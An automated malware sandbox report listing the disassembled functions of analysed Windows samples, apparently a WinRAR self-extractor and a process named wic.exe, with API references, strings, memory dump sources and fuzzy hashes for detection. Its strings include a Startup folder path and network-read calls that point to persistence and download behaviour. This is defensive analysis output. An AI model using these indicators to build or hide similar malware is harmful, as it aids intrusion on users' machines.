Instruction Fuzzy Hash: A531AD72A0020AABDF259F64DC81EAE7BB6EF44310B094269FC04D6250EB35DD90CBB0

Function 00D3B673 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D3B676
GetDeviceCaps.GDI32(00000000,00000058), ref: 00D3B685
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D3B693
ReleaseDC.USER32(00000000,00000000), ref: 00D3B6A1

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 86367c2ff615a36522a4af3f661bbbbcc46bb44214d52df7f30c2d20050c5d4e
Instruction ID: 07323f9d2e4bbc9cef0a6197370eb463b4abf63670f79b99090f736113c3bdbb
Opcode Fuzzy Hash: 86367c2ff615a36522a4af3f661bbbbcc46bb44214d52df7f30c2d20050c5d4e
Instruction Fuzzy Hash: B0E0EC319A5B60ABD7601B64BC1EB9A3F94AB15712F080105F605EA394CAB054008FF1

Function 00D3B81C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00D3B6A9: GetDC.USER32(00000000), ref: 00D3B6AD
Part of subcall function 00D3B6A9: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00D3B6B8
Part of subcall function 00D3B6A9: ReleaseDC.USER32(00000000,00000000), ref: 00D3B6C3

GetObjectW.GDI32(?,00000018,?), ref: 00D3B84C

Part of subcall function 00D3BADE: GetDC.USER32(00000000), ref: 00D3BAE7
Part of subcall function 00D3BADE: GetObjectW.GDI32(?,00000018,?), ref: 00D3BB16
Part of subcall function 00D3BADE: ReleaseDC.USER32(00000000,?), ref: 00D3BBAE

Strings

(, xrefs: 00D3B9BF

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: df4f8fab988898c0917136799890df598695087ae401a50a8a5ba9142fecda89
Instruction ID: eac5200d2c3f8bf86490ea9b973cbb9eda577c43dc5a5c66b56eca05a851b6af
Opcode Fuzzy Hash: df4f8fab988898c0917136799890df598695087ae401a50a8a5ba9142fecda89
Instruction Fuzzy Hash: 4991FE71608754AFD610DF25C848A2BBBE8FFC9715F00491EFA9AD3260DB70A845CF62

Function 00D280BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D280C3

Part of subcall function 00D31907: _wcslen.LIBCMT ref: 00D3190D

Part of subcall function 00D2B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D2B991

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D28262

Part of subcall function 00D2B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D2B5B5,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B8FA
Part of subcall function 00D2B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D2B5B5,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B92B

Strings

:, xrefs: 00D28134

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: a091ccea8d3c587cafc0822412c9115c6427e7d20935db7a40b91abe4b7a198a
Instruction ID: b22fc7e0076915fffb0a8d7bbaf78491ad98c826539498393e916bf609e9e0b4
Opcode Fuzzy Hash: a091ccea8d3c587cafc0822412c9115c6427e7d20935db7a40b91abe4b7a198a
Instruction Fuzzy Hash: 71518171800278AAEB25EB50DC56EEEB37CEF55308F044095F609A2082DB745F89DF71

Function 00D3C67E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D3C6D3
_wcslen.LIBCMT ref: 00D3C6EE

Strings

}, xrefs: 00D3C6C6

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: dfe942770a35e733e485d6364e680a5f42705ac77dfe535667b5079e5ef478a0
Instruction ID: 497adccc620dee2281654ed605e6540fa4263cef8ae93de1d4a1e6df5c3978aa
Opcode Fuzzy Hash: dfe942770a35e733e485d6364e680a5f42705ac77dfe535667b5079e5ef478a0
Instruction Fuzzy Hash: 512124B29283165BD731EB64D846B6BB3ECDF81790F08142AF940E3141EB61ED4C87B2

Function 00D3069C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00D30627: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D30646
Part of subcall function 00D30627: GetProcAddress.KERNEL32(00D6A1F0,CryptUnprotectMemory), ref: 00D30656

GetCurrentProcessId.KERNEL32(?,00000200,?,00D30697), ref: 00D3072A

Strings

CryptProtectMemory failed, xrefs: 00D306E1
CryptUnprotectMemory failed, xrefs: 00D30722

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 2bc7a551dabf639db14e3b8ef0afb52a05529d775bb50d7067e33efa82326897
Instruction ID: 76c70a853becee9544c27ad23701efc442862a1143179f601ff7bb49a895c569
Opcode Fuzzy Hash: 2bc7a551dabf639db14e3b8ef0afb52a05529d775bb50d7067e33efa82326897
Instruction Fuzzy Hash: CD112671A00364ABDF115F24DC61A6E3F58EF40768F098115FC51AB391D774AD818EF6

Function 00D2CDC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D2CDE7

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

Strings

%c:\, xrefs: 00D2CDDD

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 3a65a96d0b7416591cf3a583a8f36a2fda7637d1aba41fb34a271e5277586c9d
Instruction ID: 3ad1835a3fca2ce304f351f76e35a8b341b99e80016b4fcad2093e8dc32fe4c1
Opcode Fuzzy Hash: 3a65a96d0b7416591cf3a583a8f36a2fda7637d1aba41fb34a271e5277586c9d
Instruction Fuzzy Hash: B401F5635143217BDA307B69AC47D6FA7ACEFF5774B44541AF484D6082EA20DC54C2B1

Function 00D3233E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00D32480,?,00000000,00000000), ref: 00D32362
SetThreadPriority.KERNEL32(?,00000000), ref: 00D323A9

Part of subcall function 00D276E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D27707

Strings

CreateThread failed, xrefs: 00D3236E

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: e94b8447a277cb96af7b38ddcf5a5665520a4cb1df96e41721dd22e39d1a9f5d
Instruction ID: 6bd2f075bac825ee7be02531358ae330fdb1acdb7dd3211ea9750c9be6eda046
Opcode Fuzzy Hash: e94b8447a277cb96af7b38ddcf5a5665520a4cb1df96e41721dd22e39d1a9f5d
Instruction Fuzzy Hash: AF01F9B57447027FD7206F58EC81F72B398EF54716F20012DFB86962C0CAF168448635

Function 00D3F82F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00D3F774,0000001C,00D3F969,00000000,?,?,?,?,?,?,?,00D3F774,00000004,00D83D24,00D3F9F9), ref: 00D3F840
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00D3F774,00000004,00D83D24,00D3F9F9), ref: 00D3F85B

Strings

D, xrefs: 00D3F84F

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 4cdcd6d11a5db000fdf6cab645ad8a16a82facab2459c5c2c45bcad20400e358
Instruction ID: 86326dee2e63f903cf59fe8c376eb9a1355f6ead1beeba806522f5c6060acdcc
Opcode Fuzzy Hash: 4cdcd6d11a5db000fdf6cab645ad8a16a82facab2459c5c2c45bcad20400e358
Instruction Fuzzy Hash: 5901F772A002096BCB18DF29DC05BEE7BE9AFD4329F0CC234ED19D7254EA34D9418690

Function 00D3EC9B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D3ECFC

Strings

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, xrefs: 00D3ECB1, 00D3ECC8
Software\WinRAR SFX, xrefs: 00D3ECE5

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen
String ID: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup$Software\WinRAR SFX
API String ID: 176396367-3423262912
Opcode ID: c4d4a91220edb4b03e34bb3c131ec848c800894c8cc65d8327d7ab5e705eb19a
Instruction ID: 2107ad369abc657b903069df605541f89947111fd542355b2d34b4506540f585
Opcode Fuzzy Hash: c4d4a91220edb4b03e34bb3c131ec848c800894c8cc65d8327d7ab5e705eb19a
Instruction Fuzzy Hash: EA014475901218BAEB219B95EC09FDB7FACEF05791F004051B509E51A1E6B09A88DBF1

Function 00D212F6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00D2F608: _swprintf.LIBCMT ref: 00D2F62E
Part of subcall function 00D2F608: _strlen.LIBCMT ref: 00D2F64F
Part of subcall function 00D2F608: SetDlgItemTextW.USER32(?,00D60274,?), ref: 00D2F6AF
Part of subcall function 00D2F608: GetWindowRect.USER32(?,?), ref: 00D2F6E9
Part of subcall function 00D2F608: GetClientRect.USER32(?,?), ref: 00D2F6F5

GetDlgItem.USER32(00000000,00003021), ref: 00D2133A
SetWindowTextW.USER32(00000000,00D545F4), ref: 00D21350

Strings

0, xrefs: 00D212F9

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: d33fccba5aaf1d962f21d0d0f0afdd638348ef631b03393c0687a83b0fdaaa9c
Instruction ID: 3a6d28ca36c124f4c6252cb6366785ec73e0916688d648baaaf3821012ee6e25
Opcode Fuzzy Hash: d33fccba5aaf1d962f21d0d0f0afdd638348ef631b03393c0687a83b0fdaaa9c
Instruction Fuzzy Hash: 89F08C35104798ABDF158F60AC0DBA93BAABB3538DF088124FE44945A1DB75C994EB34

Function 00D32303 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00D32526,?), ref: 00D32309
GetLastError.KERNEL32(?), ref: 00D32315

Part of subcall function 00D276E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D27707

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00D3231E

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 23bdb8d5a1cbfcd13495e449036bf727e042a1a96886351fb13c1aac852f7510
Instruction ID: cf9f1e49da7e64aff717a0ef1e9556b8d09b959012500ccbe26809a5e0629ef8
Opcode Fuzzy Hash: 23bdb8d5a1cbfcd13495e449036bf727e042a1a96886351fb13c1aac852f7510
Instruction Fuzzy Hash: B7D02B3180C63037C611232C7C09D6F38049F31376F740704FA39912F0CB70099041B2

Function 00D2F5BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00D2ED75,?), ref: 00D2F5C3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00D2ED75,?), ref: 00D2F5D1

Strings

RTL, xrefs: 00D2F5CB

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: ce427d09586903e290345af2dc0f62e4d7201bbf0678b8d3c032c8f8bec66577
Instruction ID: 0b730a1b1dcffa54c4be3357da8eb771bff5e8f929a91b1582a297cf89317111
Opcode Fuzzy Hash: ce427d09586903e290345af2dc0f62e4d7201bbf0678b8d3c032c8f8bec66577
Instruction Fuzzy Hash: 4BC0123124435056EA7027757C0DB832EA85B1071EF150458BE01DA2C0DAE5C8C48671

Analysis Process: wic.exePID: 7568, Parent PID: 2828COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.8%
Total number of Nodes:	1138
Total number of Limit Nodes:	93

Executed Functions

Function 00EA7900 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00E87E4E,?,00000003,?,00000004,00000000), ref: 00EA7912
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00EA7922
EncodePointer.KERNEL32(00000000,?,00E87E4E,?,00000003,?,00000004,00000000), ref: 00EA792B
DecodePointer.KERNEL32(9FF94F6C,?,?,00E87E4E,?,00000003,?,00000004,00000000), ref: 00EA7939
GetLocaleInfoEx.KERNEL32(?,00E87E4E,?,00000003,?,00000004,00000000), ref: 00EA7959
GetLocaleInfoW.KERNEL32(00000000,00000004,?,00000003,?,00E87E4E,?,00000003,?,00000004,00000000), ref: 00EA7970

Strings

kernel32.dll, xrefs: 00EA790D
GetLocaleInfoEx, xrefs: 00EA791C

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: InfoLocalePointer$AddressDecodeEncodeHandleModuleProc
String ID: GetLocaleInfoEx$kernel32.dll
API String ID: 3226634038-1547310189
Opcode ID: 16ffd0335a4e26064e1411987ecfc7db5b2a80ff9a05c66f71534cb2d71b96d6
Instruction ID: 2c2e3754297fe7bbab3b5bd2f8add2c24405af24b333b8ae7bc09d77cbd50b10
Opcode Fuzzy Hash: 16ffd0335a4e26064e1411987ecfc7db5b2a80ff9a05c66f71534cb2d71b96d6
Instruction Fuzzy Hash: DE014F35504219BFCF235F64DC488AA3F69FB4E750B019015FD85AD214DB36D8509BA0

Function 00E835BB Relevance: 10.6, APIs: 7, Instructions: 112
networkfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00E835DA
InternetReadFile.WININET(?,?,00000800,?), ref: 00E835F1
GetTickCount.KERNEL32 ref: 00E835FE
GetTickCount.KERNEL32 ref: 00E83608
InternetCloseHandle.WININET ref: 00E8361A
InternetCloseHandle.WININET(?), ref: 00E83623
PostMessageA.USER32(00000000,00000012,00000000,00000000), ref: 00E8368E

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CountInternetTick$CloseHandle$FileMessagePostRead
String ID:
API String ID: 2556584633-0
Opcode ID: 33f5585c60ece2241b8208bf014ce61f6fd37b404e816010f79c727bceecf01c
Instruction ID: c6c77e033438353dd1d41d5cd0636eb0b8adf77fc636d44b74b48d7efe2469f8
Opcode Fuzzy Hash: 33f5585c60ece2241b8208bf014ce61f6fd37b404e816010f79c727bceecf01c
Instruction Fuzzy Hash: 0341B671901208ABDB11EFB8CC45BDDB7B5BF48B14F144265E81DBB391E7369E009BA4

Function 00E83400 Relevance: 9.1, APIs: 6, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00E8341C

Part of subcall function 00E998B2: __EH_prolog3.LIBCMT ref: 00E998B9
Part of subcall function 00E998B2: BeginPaint.USER32(?,?,00000004,00E96319,?,00000058,00E834D2), ref: 00E998E5

SendMessageA.USER32(?,00000027,?,00000000), ref: 00E83450
GetSystemMetrics.USER32(0000000B), ref: 00E8345E
GetSystemMetrics.USER32(0000000C), ref: 00E83464
GetClientRect.USER32(?,?), ref: 00E83478
DrawIcon.USER32(?,?,?,?), ref: 00E834AA

Part of subcall function 00E99A3C: EndPaint.USER32(?,?,8C3A2C7B,?,00000000,00FF4C50,000000FF,?,00E9633B,?,?,00000058,00E834D2), ref: 00E99A6E

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
